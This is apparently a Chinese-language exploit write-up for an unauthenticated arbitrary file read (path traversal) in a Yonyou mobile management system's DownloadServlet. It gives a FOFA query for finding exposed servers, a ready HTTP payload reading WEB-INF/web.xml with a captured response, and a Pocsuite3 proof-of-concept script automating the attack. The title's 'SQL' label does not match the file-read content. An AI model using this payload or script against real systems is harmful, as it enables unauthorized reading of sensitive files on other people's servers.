

Y19-2用友-移动管理系统-SQL

漏洞描述：

用友移动管理系统 DownloadServlet 接口处任意文件读取漏洞，未经身份验证的攻击者可以利用此漏洞读取内部系统敏感文件，使系统处于极不安全的状态。

网站图片：



网络测绘：

fofa语法：

FOFA: app="用友-移动系统管理"

漏洞复现：

payload:

```
GET /servlet/~maportal;/com.yonyou.maportal.bs.padplugin.controller.DownloadServlet?filename=../../WEB-INF/web.xml HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
```

效果图:

读取web.xml文件

Request

1GET /servlet/~maportal;/com.yonyou.maportal.bs.padplugin.controller.DownloadServlet?filename=../../WEB-INF/web.xml HTTP/1.1

2Host: 192.168.1.8088

3User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_15\_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36

4Connection: close

5Accept-Encoding: gzip

Responses4455bytes / 63ms

1HTTP/1.1 200 OK

2Server: Apache-Coyote/1.1

3Content-Disposition: attachment;filename=

4Content-Type: application/octet-stream

5Date: Fri, 26 Jan 2024 13:05:56 GMT

6Connection: close

7Content-Length: 4455

8

9<?xml version="1.0" encoding="UTF-8"?>

10<!--<!DOCTYPE web-app PUBLIC "-//Sun/Micro

11<web-app xmlns="http://java.sun.com/xml/n

12...xmlns:xsi="http://www.w3.org/2001/XML

13...xsi:schemaLocation="http://java.sun.c

14...version="2.4" id="WebApp">

15<listener>

16+<listener-class>nc.bs.framework.s

17+</listener>

18<listener>

19+<listener-class>

20+com.yonyou.uap.ump.server.OnS

21+</listener-class>

22</listener>

23<listener>

24+<listener-class>

Pocsuite脚本

```
from pocsuite3.api import POCBase, Output, register_poc, logger, requests

class DemoPOC(POCBase):
    vulID = ''
    version = '1.0'
    author = 'OidBoy'
    vulDate = '2024-01-26'
    createDate = '2024-01-26'
    updateDate = '2024-01-26'
    name = '用友移动管理系统 DownloadServlet 任意文件读取漏洞'
    appName = '用友移动管理系统'
    appVersion = ''
    vulType = '文件读取'
    desc = '''用友移动管理系统 DownloadServlet 任意文件读取漏洞'''

    def _verify(self):
        result = {}
        try:
            url = self.url.strip() + '/servlet/~maportal;/com.yonyou.maportal.bs.padplugin.controller.DownloadServlet?filename=../../WEB-INF/web.xml'
            response = requests.get(url)

            if response.status_code == 200 and "<?xml version=" in response.text:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = url
                result['VerifyInfo']['Response'] = response.text
        except Exception as e:
            logger.warn(str(e))

        return self.parse_output(result)

    def _attack(self):
        return self._verify()
```

```
def parse_output(self, result):
    output = Output(self)
    if result:
        output.success(result)
    else:
        output.fail('Failed to find success message in response.')
    return output

register_poc(DemoPOC)
```